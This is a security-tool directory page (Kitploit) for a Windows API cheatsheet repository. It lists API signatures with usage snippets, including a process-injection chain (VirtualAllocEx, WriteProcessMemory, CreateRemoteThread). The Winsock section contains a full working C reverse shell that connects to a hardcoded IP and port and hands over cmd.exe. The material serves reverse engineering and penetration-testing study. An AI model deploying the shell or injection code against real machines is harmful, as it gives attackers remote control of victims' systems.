Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
windows-api-function-cheatsheets — Windows API 函数调用参考,包括文件操作、进程管理、内存管理、线程管理、动态链接库(DLL)管理、同步、进程间通信、Unicode 字符串操作、错误处理、Winsock 网络操作和注册表操作。 | Kitploit
ツール/GitHubGitHub/7etsuo/windows-api-function-cheatsheets
リバースエンジニアリングポストエクスプロイトマルウェア分析バイナリ解析厳選リソースペイロード開発
GitHub7etsuo/windows-api-function-cheatsheets

windows-api-function-cheatsheets

Windows API 函数调用参考,包括文件操作、进程管理、内存管理、线程管理、动态链接库(DLL)管理、同步、进程间通信、Unicode 字符串操作、错误处理、Winsock 网络操作和注册表操作。

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る
1.5k16951年前Kitploit レビュー済み

API CheatSheets

Windows API 関数チートシート

連絡先

🌨️ Tetsuo: https://www.x.com/tetsuo

目次

  • Windows API 関数チートシート
    • ファイル操作
    • プロセス管理
    • メモリ管理
    • スレッド管理
    • ダイナミックリンクライブラリ (DLL) 管理
    • 同期
    • プロセス間通信
    • Windows フック
    • 暗号化
    • デバッグ
    • Winsock
    • レジストリ操作
    • エラー処理
    • リソース管理
    • Unicode 文字列関数
      • 文字列長
      • 文字列コピー
      • 文字列連結
      • 文字列比較
      • 文字列検索
      • 文字の分類と変換
    • Win32 構造体チートシート
      • 一般的な構造体
      • Win32 ソケット構造体チートシート (winsock.h)
      • Win32 ソケット構造体チートシート (winsock2.h)
      • Win32 ソケット構造体チートシート (ws2def.h)
  • コードインジェクション技術
    • 1. DLL インジェクション
    • 2. PE インジェクション
    • 3. リフレクティブインジェクション
    • 4. APC インジェクション
    • 5. プロセス・ハロウィング (プロセス置換)
    • 6. AtomBombing
    • 7. Process Doppelgänging
    • 8. Process Herpaderping
    • 9. フッキングインジェクション
    • 10. Extra Windows Memory インジェクション
    • 11. Propagate インジェクション
    • 12. ヒープスプレー
    • 13. スレッド実行ハイジャック
    • 14. モジュールストンピング
    • 15. IAT フッキング
    • 16. インラインフッキング
    • 17. デバッガーインジェクション
    • 18. COM ハイジャック
    • 19. Phantom DLL ハロウィング
    • 20. PROPagate
    • 21. Early Bird インジェクション
    • 22. Shim ベースのインジェクション
    • 23. マッピングインジェクション
    • 24. KnownDlls キャッシュポイズニング
  • プロセス列挙

Windows API 関数呼び出し

ファイル操作

CreateFile```c HANDLE CreateFile( LPCTSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile ); // Opens an existing file or creates a new file.

root@kitploit:~
[ReadFile](https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-readfile)```c
BOOL ReadFile(
  HANDLE hFile,
  LPVOID lpBuffer,
  DWORD nNumberOfBytesToRead,
  LPDWORD lpNumberOfBytesRead,
  LPOVERLAPPED lpOverlapped
); // Reads data from the specified file.

WriteFile```c BOOL WriteFile( HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped ); // Writes data to the specified file.

root@kitploit:~
[CloseHandle](https://docs.microsoft.com/en-us/windows/win32/api/handleapi/nf-handleapi-closehandle)```c
BOOL CloseHandle(
  HANDLE hObject
); // Closes an open handle.

プロセス管理

OpenProcess```c HANDLE OpenProcess( [in] DWORD dwDesiredAccess, [in] BOOL bInheritHandle, [in] DWORD dwProcessId ); // Opens an existing local process object. e.g., try to open target process

root@kitploit:~
```c
hProc = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE, FALSE, (DWORD) pid);

CreateProcess```c HANDLE CreateProcess( LPCTSTR lpApplicationName, LPTSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCTSTR lpCurrentDirectory, LPSTARTUPINFO lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation ); // The CreateProcess function creates a new process that runs independently of the creating process. For simplicity, this relationship is called a parent-child relationship.

root@kitploit:~
```c
// Start the child process
// No module name (use command line), Command line, Process handle not inheritable, Thread handle not inheritable, Set handle inheritance to FALSE, No creation flags, Use parent's environment block, Use parent's starting directory, Pointer to STARTUPINFO structure, Pointer to PROCESS_INFORMATION structure
CreateProcess( NULL, argv[1], NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi); 

WinExec```c UINT WinExec( [in] LPCSTR lpCmdLine, [in] UINT uCmdShow ); // Runs the specified application.

root@kitploit:~
```c
result = WinExec(L"C:\\Windows\\System32\\cmd.exe", SW_SHOWNORMAL);

TerminateProcess```c BOOL TerminateProcess( HANDLE hProcess, UINT uExitCode ); // Terminates the specified process.

root@kitploit:~
[ExitWindowsEx](https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-exitwindowsex)```c
BOOL ExitWindowsEx(
  [in] UINT  uFlags,
  [in] DWORD dwReason
); // Logs off the interactive user, shuts down the system, or shuts down and restarts the system.
root@kitploit:~
bResult = ExitWindowsEx(EWX_REBOOT, SHTDN_REASON_MAJOR_APPLICATION);

CreateToolhelp32Snapshot```c HANDLE CreateToolhelp32Snapshot( [in] DWORD dwFlags, [in] DWORD th32ProcessID ); // used to obtain information about processes and threads running on a Windows system.

root@kitploit:~
[Process32First](https://learn.microsoft.com/en-us/windows/win32/api/tlhelp32/nf-tlhelp32-process32first)```c
BOOL Process32First(
  [in]      HANDLE           hSnapshot,
  [in, out] LPPROCESSENTRY32 lppe
); // used to retrieve information about the first process encountered in a system snapshot, which is typically taken using the CreateToolhelp32Snapshot function.

Process32Next```c BOOL Process32Next( [in] HANDLE hSnapshot, [out] LPPROCESSENTRY32 lppe ); // used to retrieve information about the next process in a system snapshot after Process32First has been called. This function is typically used in a loop to enumerate all processes captured in a snapshot taken using the CreateToolhelp32Snapshot function.

root@kitploit:~
[WriteProcessMemory](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory)```c
BOOL WriteProcessMemory(
  [in]  HANDLE  hProcess,
  [in]  LPVOID  lpBaseAddress,
  [in]  LPCVOID lpBuffer,
  [in]  SIZE_T  nSize,
  [out] SIZE_T  *lpNumberOfBytesWritten
); // Writes data to an area of memory in a specified process. The entire area to be written to must be accessible or the operation fails.
root@kitploit:~
WriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL); // pRemoteCode from VirtualAllocEx

ReadProcessMemory```c BOOL ReadProcessMemory( [in] HANDLE hProcess, [in] LPCVOID lpBaseAddress, [out] LPVOID lpBuffer, [in] SIZE_T nSize, [out] SIZE_T *lpNumberOfBytesRead ); // ReadProcessMemory copies the data in the specified address range from the address space of the specified process into the specified buffer of the current process.

root@kitploit:~
```c
bResult = ReadProcessMemory(pHandle, (void*)baseAddress, &address, sizeof(address), 0);

メモリ管理

VirtualAlloc```c LPVOID VirtualAlloc( LPVOID lpAddress, SIZE_T dwSize, // Shellcode must be between 0x1 and 0x10000 bytes (page size) DWORD flAllocationType, // #define MEM_COMMIT 0x00001000 DWORD flProtect // #define PAGE_EXECUTE_READWRITE 0x00000040
); // Reserves, commits, or changes the state of a region of memory within the virtual address space of the calling process.

root@kitploit:~
[VirtualAllocEx](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex)```c
LPVOID VirtualAllocEx(
  [in]           HANDLE hProcess,
  [in, optional] LPVOID lpAddress,
  [in]           SIZE_T dwSize,
  [in]           DWORD  flAllocationType,
  [in]           DWORD  flProtect
); // Reserves, commits, or changes the state of a region of memory within the virtual address space of a specified process. The function initializes the memory it allocates to zero.
root@kitploit:~
pRemoteCode = VirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);

VirtualFree```c BOOL VirtualFree( LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType ); // Releases, decommits, or releases and decommits a region of memory within the virtual address space of the calling process.

root@kitploit:~
[VirtualProtect 関数 (memoryapi.h)](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect)```c
BOOL VirtualProtect(
  LPVOID lpAddress,
  SIZE_T dwSize,
  DWORD  flNewProtect,
  PDWORD lpflOldProtect
); // Changes the protection on a region of committed pages in the virtual address space of the calling process.

RtlMoveMemory```c VOID RtlMoveMemory( Out VOID UNALIGNED *Destination, In const VOID UNALIGNED *Source, In SIZE_T Length ); // Copies the contents of a source memory block to a destination memory block, and supports overlapping source and destination memory blocks.

root@kitploit:~
### スレッド管理
[CreateThread](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createthread)```c
HANDLE CreateThread(
  [in, optional]  LPSECURITY_ATTRIBUTES   lpThreadAttributes,         // A pointer to a SECURITY_ATTRIBUTES structure that specifies a security descriptor for the new thread and determines whether child processes can inherit the returned handle.
  [in]            SIZE_T                  dwStackSize,                // The initial size of the stack, in bytes.
  [in]            LPTHREAD_START_ROUTINE  lpStartAddress,             // A pointer to the application-defined function of type LPTHREAD_START_ROUTINE
  [in, optional]  __drv_aliasesMem LPVOID lpParameter,                // A pointer to a variable to be passed to the thread function.
  [in]            DWORD                   dwCreationFlags,            // The flags that control the creation of the thread.
  [out, optional] LPDWORD                 lpThreadId                  // A pointer to a variable that receives the thread identifier. If this parameter is NULL, the thread identifier is not returned.
); // Creates a thread to execute within the virtual address space of the calling process.
root@kitploit:~
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0); WaitForSingleObject(th, 0);

CreateRemoteThread```c HANDLE CreateRemoteThread( [in] HANDLE hProcess, [in] LPSECURITY_ATTRIBUTES lpThreadAttributes, [in] SIZE_T dwStackSize, [in] LPTHREAD_START_ROUTINE lpStartAddress, [in] LPVOID lpParameter, [in] DWORD dwCreationFlags, [out] LPDWORD lpThreadId ); // Creates a thread that runs in the virtual address space of another process.

root@kitploit:~
```c
hThread = CreateRemoteThread(hProc, NULL, 0, pRemoteCode, NULL, 0, NULL); // pRemoteCode from VirtualAllocEx filled by WriteProcessMemory

CreateRemoteThreadEx```c HANDLE CreateRemoteThreadEx( [in] HANDLE hProcess, [in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes, [in] SIZE_T dwStackSize, [in] LPTHREAD_START_ROUTINE lpStartAddress, [in, optional] LPVOID lpParameter, [in] DWORD dwCreationFlags, [in, optional] LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList, [out, optional] LPDWORD lpThreadId ); // Creates a thread that runs in the virtual address space of another process and optionally specifies extended attributes such as processor group affinity. // See InitializeProcThreadAttributeList

root@kitploit:~
```c
hThread = CreateRemoteThread(hProc, NULL, 0, pRemoteCode, NULL, 0, lpAttributeList, NULL); // pRemoteCode from VirtualAllocEx filled by WriteProcessMemory

ExitThread```c VOID ExitThread( DWORD dwExitCode ); // Terminates the calling thread and returns the exit code to the operating system.

root@kitploit:~
[GetExitCodeThread](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-getexitcodethread)```c
BOOL GetExitCodeThread(
  HANDLE hThread,
  LPDWORD lpExitCode
); // Retrieves the termination status of the specified thread.

ResumeThread```c DWORD ResumeThread( HANDLE hThread ); // Decrements a thread's suspend count. When the suspend count is decremented to zero, the execution of the thread is resumed.

root@kitploit:~
[SuspendThread](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-suspendthread)```c
DWORD SuspendThread(
  HANDLE hThread
); // Suspends the specified thread.

TerminateThread```c BOOL TerminateThread( HANDLE hThread, DWORD dwExitCode ); // Terminates the specified thread.

root@kitploit:~
[CloseHandle](https://docs.microsoft.com/en-us/windows/win32/api/handleapi/nf-handleapi-closehandle)```c
BOOL CloseHandle(
  HANDLE hObject
); // Closes an open handle.

ダイナミック リンク ライブラリ (DLL) の管理

LoadLibrary```c HMODULE LoadLibrary( LPCTSTR lpFileName ); // Loads a dynamic-link library (DLL) module into the address space of the calling process.

root@kitploit:~
[LoadLibraryExA](https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibraryexa)```c
HMODULE LoadLibraryExA(
  [in] LPCSTR lpLibFileName,
       HANDLE hFile,
  [in] DWORD  dwFlags
); // Loads the specified module into the address space of the calling process, with additional options.
root@kitploit:~
HMODULE hModule = LoadLibraryExA("ws2_32.dll", NULL, LOAD_LIBRARY_SAFE_CURRENT_DIRS);

GetProcAddress```c FARPROC GetProcAddress( HMODULE hModule, LPCSTR lpProcName ); // Retrieves the address of an exported function or variable from the specified DLL.

root@kitploit:~
```c
pLoadLibrary = (PTHREAD_START_ROUTINE) GetProcAddress(GetModuleHandle("Kernel32.dll"), "LoadLibraryA");

FreeLibrary```c BOOL FreeLibrary( HMODULE hModule ); // Frees the loaded DLL module and, if necessary, decrements its reference count.

root@kitploit:~
### 同期
[CreateMutex](https://docs.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-createmutexa)```c
HANDLE CreateMutex(
  LPSECURITY_ATTRIBUTES lpMutexAttributes,
  BOOL bInitialOwner,
  LPCTSTR lpName
); // Creates a named or unnamed mutex object.

CreateSemaphore```c HANDLE CreateSemaphore( LPSECURITY_ATTRIBUTES lpSemaphoreAttributes, LONG lInitialCount, LONG lMaximumCount, LPCTSTR lpName ); // Creates a named or unnamed semaphore object.

root@kitploit:~
[ReleaseMutex](https://docs.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-releasemutex)```c
BOOL ReleaseMutex(
  HANDLE hMutex
); // Releases ownership of the specified mutex object.

ReleaseSemaphore```c BOOL ReleaseSemaphore( HANDLE hSemaphore, LONG lReleaseCount, LPLONG lpPreviousCount ); // Increases the count of the specified semaphore object by a specified amount.

root@kitploit:~
[WaitForSingleObject](https://learn.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-waitforsingleobject)```c
DWORD WaitForSingleObject(
  [in] HANDLE hHandle,
  [in] DWORD  dwMilliseconds
); // Waits until the specified object is in the signaled state or the time-out interval elapses.
root@kitploit:~
WaitForSingleObject(hThread, 500);

プロセス間通信

CreatePipe```c BOOL CreatePipe( PHANDLE hReadPipe, PHANDLE hWritePipe, LPSECURITY_ATTRIBUTES lpPipeAttributes, DWORD nSize ); // Creates an anonymous pipe and returns handles to the read and write ends of the pipe.

root@kitploit:~
[CreateNamedPipe](https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createnamedpipea)```c
HANDLE CreateNamedPipe(
  LPCTSTR lpName,
  DWORD dwOpenMode,
  DWORD dwPipeMode,
  DWORD nMaxInstances,
  DWORD nOutBufferSize,
  DWORD nInBufferSize,
  DWORD nDefaultTimeOut,
  LPSECURITY_ATTRIBUTES lpSecurityAttributes
); // Creates a named pipe and returns a handle for subsequent pipe operations.

ConnectNamedPipe```c BOOL ConnectNamedPipe( HANDLE hNamedPipe, LPOVERLAPPED lpOverlapped ); // Enables a named pipe server process to wait for a client process to connect to an instance of a named pipe.

root@kitploit:~
[DisconnectNamedPipe](https://docs.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-disconnectnamedpipe)```c
BOOL DisconnectNamedPipe(
  HANDLE hNamedPipe
); // Disconnects the server end of a named pipe instance from a client process.

CreateFileMapping```c HANDLE CreateFileMapping( HANDLE hFile, LPSECURITY_ATTRIBUTES lpFileMappingAttributes, DWORD flProtect, DWORD dwMaximumSizeHigh, DWORD dwMaximumSizeLow, LPCTSTR lpName ); // Creates or opens a named or unnamed file mapping object for a specified file.

root@kitploit:~
[MapViewOfFile](https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-mapviewoffile)```c
LPVOID MapViewOfFile(
  HANDLE hFileMappingObject,
  DWORD dwDesiredAccess,
  DWORD dwFileOffsetHigh,
  DWORD dwFileOffsetLow,
  SIZE_T dwNumberOfBytesToMap
); // Maps a view of a file mapping into the address space of the calling process.

UnmapViewOfFile```c BOOL UnmapViewOfFile( LPCVOID lpBaseAddress ); // Unmaps a mapped view of a file from the calling process's address space.

root@kitploit:~
[CloseHandle](https://docs.microsoft.com/en-us/windows/win32/api/handleapi/nf-handleapi-closehandle)```c
BOOL CloseHandle(
  HANDLE hObject
); // Closes an open handle.

Windows フック

SetWindowsHookExA```c HHOOK SetWindowsHookExA( [in] int idHook, [in] HOOKPROC lpfn, [in] HINSTANCE hmod, [in] DWORD dwThreadId ); // Installs an application-defined hook procedure into a hook chain. You would install a hook procedure to monitor the system for certain types of events. These events are associated either with a specific thread or with all threads in the same desktop as the calling thread.

root@kitploit:~
[CallNextHookEx](https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-callnexthookex)```c
LRESULT CallNextHookEx(
  [in, optional] HHOOK  hhk,
  [in]           int    nCode,
  [in]           WPARAM wParam,
  [in]           LPARAM lParam
); // Passes the hook information to the next hook procedure in the current hook chain. A hook procedure can call this function either before or after processing the hook information.

UnhookWindowsHookEx```c BOOL UnhookWindowsHookEx( [in] HHOOK hhk ); // Removes a hook procedure installed in a hook chain by the SetWindowsHookEx function.

root@kitploit:~
[GetAsyncKeyState](https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getasynckeystate)```c
SHORT GetAsyncKeyState(
  [in] int vKey
); // Determines whether a key is up or down at the time the function is called, and whether the key was pressed after a previous call to GetAsyncKeyState.

GetKeyState```c SHORT GetKeyState( [in] int nVirtKey ); // Retrieves the status of the specified virtual key. The status specifies whether the key is up, down, or toggled (on, off—alternating each time the key is pressed).

root@kitploit:~
[GetKeyboardState](https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getkeyboardstate)```c
BOOL GetKeyboardState(
  [out] PBYTE lpKeyState
); // Copies the status of the 256 virtual keys to the specified buffer.

暗号化

CryptBinaryToStringA```c BOOL CryptBinaryToStringA( [in] const BYTE *pbBinary, [in] DWORD cbBinary, [in] DWORD dwFlags, [out, optional] LPSTR pszString, [in, out] DWORD *pcchString ); // The CryptBinaryToString function converts an array of bytes into a formatted string.

root@kitploit:~
[CryptDecrypt](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptdecrypt)```c
BOOL CryptDecrypt(
  [in]      HCRYPTKEY  hKey,
  [in]      HCRYPTHASH hHash,
  [in]      BOOL       Final,
  [in]      DWORD      dwFlags,
  [in, out] BYTE       *pbData,
  [in, out] DWORD      *pdwDataLen
); // The CryptDecrypt function decrypts data previously encrypted by using the CryptEncrypt function.

CryptEncrypt```c BOOL CryptEncrypt( [in] HCRYPTKEY hKey, [in] HCRYPTHASH hHash, [in] BOOL Final, [in] DWORD dwFlags, [in, out] BYTE *pbData, [in, out] DWORD *pdwDataLen, [in] DWORD dwBufLen ); // The CryptEncrypt function encrypts data. The algorithm used to encrypt the data is designated by the key held by the CSP module and is referenced by the hKey parameter.

root@kitploit:~
[CryptDecryptMessage](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptdecryptmessage)```c
BOOL CryptDecryptMessage(
  [in]                PCRYPT_DECRYPT_MESSAGE_PARA pDecryptPara,
  [in]                const BYTE                  *pbEncryptedBlob,
  [in]                DWORD                       cbEncryptedBlob,
  [out, optional]     BYTE                        *pbDecrypted,
  [in, out, optional] DWORD                       *pcbDecrypted,
  [out, optional]     PCCERT_CONTEXT              *ppXchgCert
); // The CryptDecryptMessage function decodes and decrypts a message.

CryptEncryptMessage```c BOOL CryptEncryptMessage( [in] PCRYPT_ENCRYPT_MESSAGE_PARA pEncryptPara, [in] DWORD cRecipientCert, [in] PCCERT_CONTEXT [] rgpRecipientCert, [in] const BYTE *pbToBeEncrypted, [in] DWORD cbToBeEncrypted, [out] BYTE *pbEncryptedBlob, [in, out] DWORD *pcbEncryptedBlob ); // The CryptEncryptMessage function encrypts and encodes a message.

root@kitploit:~
### デバッグ
[IsDebuggerPresent](https://learn.microsoft.com/en-us/windows/win32/api/debugapi/nf-debugapi-isdebuggerpresent)```c
BOOL IsDebuggerPresent(); // Determines whether the calling process is being debugged by a user-mode debugger.

CheckRemoteDebuggerPresent```c BOOL CheckRemoteDebuggerPresent( [in] HANDLE hProcess, [in, out] PBOOL pbDebuggerPresent ); // Determines whether the specified process is being debugged.

root@kitploit:~
[OutputDebugStringA](https://learn.microsoft.com/en-us/windows/win32/api/debugapi/nf-debugapi-outputdebugstringa)```c
void OutputDebugStringA(
  [in, optional] LPCSTR lpOutputString
); // Sends a string to the debugger for display.

Winsock```c

/*** Windows Reverse Shell *

  • ██████ ███▄ █ ▒█████ █ █░ ▄████▄ ██▀███ ▄▄▄ ██████ ██░ ██
  • ▒██ ▒ ██ ▀█ █ ▒██▒ ██▒▓█░ █ ░█░▒██▀ ▀█ ▓██ ▒ ██▒▒████▄ ▒██ ▒ ▓██░ ██▒
  • ░ ▓██▄ ▓██ ▀█ ██▒▒██░ ██▒▒█░ █ ░█ ▒▓█ ▄ ▓██ ░▄█ ▒▒██ ▀█▄ ░ ▓██▄ ▒██▀▀██░
  • ▒ ██▒▓██▒ ▐▌██▒▒██ ██░░█░ █ ░█ ▒▓▓▄ ▄██▒▒██▀▀█▄ ░██▄▄▄▄██ ▒ ██▒░▓█ ░██
  • ▒██████▒▒▒██░ ▓██░░ ████▓▒░░░██▒██▓ ▒ ▓███▀ ░░██▓ ▒██▒ ▓█ ▓██▒▒██████▒▒░▓█▒░██▓
  • ▒ ▒▓▒ ▒ ░░ ▒░ ▒ ▒ ░ ▒░▒░▒░ ░ ▓░▒ ▒ ░ ░▒ ▒ ░░ ▒▓ ░▒▓░ ▒▒ ▓▒█░▒ ▒▓▒ ▒ ░ ▒ ░░▒░▒
  • ░ ░▒ ░ ░░ ░░ ░ ▒░ ░ ▒ ▒░ ▒ ░ ░ ░ ▒ ░▒ ░ ▒░ ▒ ▒▒ ░░ ░▒ ░ ░ ▒ ░▒░ ░
  • ░ ░ ░ ░ ░ ░ ░ ░ ░ ▒ ░ ░ ░ ░░ ░ ░ ▒ ░ ░ ░ ░ ░░ ░
  • root@kitploit:~
      ░           ░     ░ ░      ░    ░ ░         ░           ░  ░      ░   ░  ░  ░
    
  • root@kitploit:~
                                  Written by: [email protected] (snowcra5h) 2023
    
  • This program establishes a reverse shell via the Winsock2 library. It is
  • designed to establish a connection to a specified remote server, and execute commands
  • received from the server on the local machine, giving the server
  • control over the local machine.
  • Compile command (using MinGW on Wine):
  • wine gcc.exe windows.c -o windows.exe -lws2_32
  • This code is intended for educational and legitimate penetration testing purposes only.
  • Please use responsibly and ethically.

*/

#include <winsock2.h> #include <ws2tcpip.h> #include <stdio.h> #include <windows.h> #include <process.h>

const char* const PORT = "1337"; const char* const IP = "10.37.129.2";

typedef struct { HANDLE hPipeRead; HANDLE hPipeWrite; SOCKET sock; } ThreadParams;

DWORD WINAPI OutputThreadFunc(LPVOID data); DWORD WINAPI InputThreadFunc(LPVOID data); void CleanUp(HANDLE hInputWrite, HANDLE hInputRead, HANDLE hOutputWrite, HANDLE hOutputRead, PROCESS_INFORMATION processInfo, addrinfo* result, SOCKET sock);

int main(int argc, char** argv) { WSADATA wsaData; int err = WSAStartup(MAKEWORD(2, 2), &wsaData); if (err != 0) { fprintf(stderr, "WSAStartup failed: %d\n", err); return 1; }

root@kitploit:~
SOCKET sock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, WSA_FLAG_OVERLAPPED);
if (sock == INVALID_SOCKET) {
    fprintf(stderr, "Socket function failed with error = %d\n", WSAGetLastError());
    WSACleanup();
    return 1;
}

struct addrinfo hints = { 0 };
hints.ai_family = AF_INET;
hints.ai_socktype = SOCK_STREAM;
struct addrinfo* result;
err = getaddrinfo(IP, PORT, &hints, &result);
if (err != 0) {
    fprintf(stderr, "Failed to get address info: %d\n", err);
    CleanUp(NULL, NULL, NULL, NULL, { 0 }, result, sock);
    return 1;
}

if (WSAConnect(sock, result->ai_addr, (int)result->ai_addrlen, NULL, NULL, NULL, NULL) == SOCKET_ERROR) {
    fprintf(stderr, "Failed to connect.\n");
    CleanUp(NULL, NULL, NULL, NULL, { 0 }, result, sock);
    return 1;
}

SECURITY_ATTRIBUTES sa = { sizeof(SECURITY_ATTRIBUTES), NULL, TRUE };
HANDLE hInputWrite, hOutputRead, hInputRead, hOutputWrite;
if (!CreatePipe(&hOutputRead, &hOutputWrite, &sa, 0) || !CreatePipe(&hInputRead, &hInputWrite, &sa, 0)) {
    fprintf(stderr, "Failed to create pipe.\n");
    CleanUp(NULL, NULL, NULL, NULL, { 0 }, result, sock);
    return 1;
}

STARTUPINFO startupInfo = { 0 };
startupInfo.cb = sizeof(startupInfo);
startupInfo.dwFlags = STARTF_USESTDHANDLES;
startupInfo.hStdInput = hInputRead;
startupInfo.hStdOutput = hOutputWrite;
startupInfo.hStdError = hOutputWrite;
PROCESS_INFORMATION processInfo;

WCHAR cmd[] = L"cmd.exe /k";
if (!CreateProcess(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &startupInfo, &processInfo)) {
    fprintf(stderr, "Failed to create process.\n");
    CleanUp(hInputWrite, hInputRead, hOutputWrite, hOutputRead, processInfo, result, sock);
    return 1;
}

CloseHandle(hInputRead);
CloseHandle(hOutputWrite);
CloseHandle(processInfo.hThread);
ThreadParams outputParams = { hOutputRead, NULL, sock };
ThreadParams inputParams = { NULL, hInputWrite, sock };
HANDLE hThread[2];
hThread[0] = CreateThread(NULL, 0, OutputThreadFunc, &outputParams, 0, NULL);
hThread[1] = CreateThread(NULL, 0, InputThreadFunc, &inputParams, 0, NULL);

WaitForMultipleObjects(2, hThread, TRUE, INFINITE);
CleanUp(hInputWrite, NULL, NULL, hOutputRead, processInfo, result, sock);
return 0;

}

void CleanUp(HANDLE hInputWrite, HANDLE hInputRead, HANDLE hOutputWrite, HANDLE hOutputRead, PROCESS_INFORMATION processInfo, addrinfo* result, SOCKET sock) { if (hInputWrite != NULL) CloseHandle(hInputWrite); if (hInputRead != NULL) CloseHandle(hInputRead); if (hOutputWrite != NULL) CloseHandle(hOutputWrite); if (hOutputRead != NULL) CloseHandle(hOutputRead); if (processInfo.hProcess != NULL) CloseHandle(processInfo.hProcess); if (processInfo.hThread != NULL) CloseHandle(processInfo.hThread); if (result != NULL) freeaddrinfo(result); if (sock != NULL) closesocket(sock); WSACleanup(); }

DWORD WINAPI OutputThreadFunc(LPVOID data) { ThreadParams* params = (ThreadParams*)data; char buffer[4096]; DWORD bytesRead; while (ReadFile(params->hPipeRead, buffer, sizeof(buffer) - 1, &bytesRead, NULL)) { buffer[bytesRead] = '\0'; send(params->sock, buffer, bytesRead, 0); } return 0; }

DWORD WINAPI InputThreadFunc(LPVOID data) { ThreadParams* params = (ThreadParams*)data; char buffer[4096]; int bytesRead; while ((bytesRead = recv(params->sock, buffer, sizeof(buffer) - 1, 0)) > 0) { DWORD bytesWritten; WriteFile(params->hPipeWrite, buffer, bytesRead, &bytesWritten, NULL); } return 0; }

root@kitploit:~
[WSAStartup](https://docs.microsoft.com/en-us/windows/win32/api/winsock/nf-winsock-wsastartup)```c
int WSAStartup(
    WORD wVersionRequired, 
    LPWSADATA lpWSAData
); // Initializes the Winsock library for an application. Must be called before any other Winsock functions.

WSAConnect```c int WSAConnect( SOCKET s, // Descriptor identifying a socket. const struct sockaddr* name, // Pointer to the sockaddr structure for the connection target. int namelen, // Length of the sockaddr structure. LPWSABUF lpCallerData, // Pointer to user data to be transferred during connection. LPWSABUF lpCalleeData, // Pointer to user data transferred back during connection. LPQOS lpSQOS, // Pointer to flow specs for socket s, one for each direction. LPQOS lpGQOS // Pointer to flow specs for the socket group. ); // Establishes a connection to another socket application.This function is similar to connect, but allows for more control over the connection process.

root@kitploit:~
[WSASend](https://learn.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsasend)```c
int WSASend(
    SOCKET s, // Descriptor identifying a connected socket.
    LPWSABUF lpBuffers, // Array of buffers for data to be sent.
    DWORD dwBufferCount, // Number of buffers in the lpBuffers array.
    LPDWORD lpNumberOfBytesSent, // Pointer to the number of bytes sent by this function call.
    DWORD dwFlags, // Flags to modify the behavior of the function call.
    LPWSAOVERLAPPED lpOverlapped, // Pointer to an overlapped structure for asynchronous operations.
    LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine // Pointer to the completion routine called when the send operation has been completed.
); // Sends data on a connected socket.It can be used for both synchronous and asynchronous data transfer.

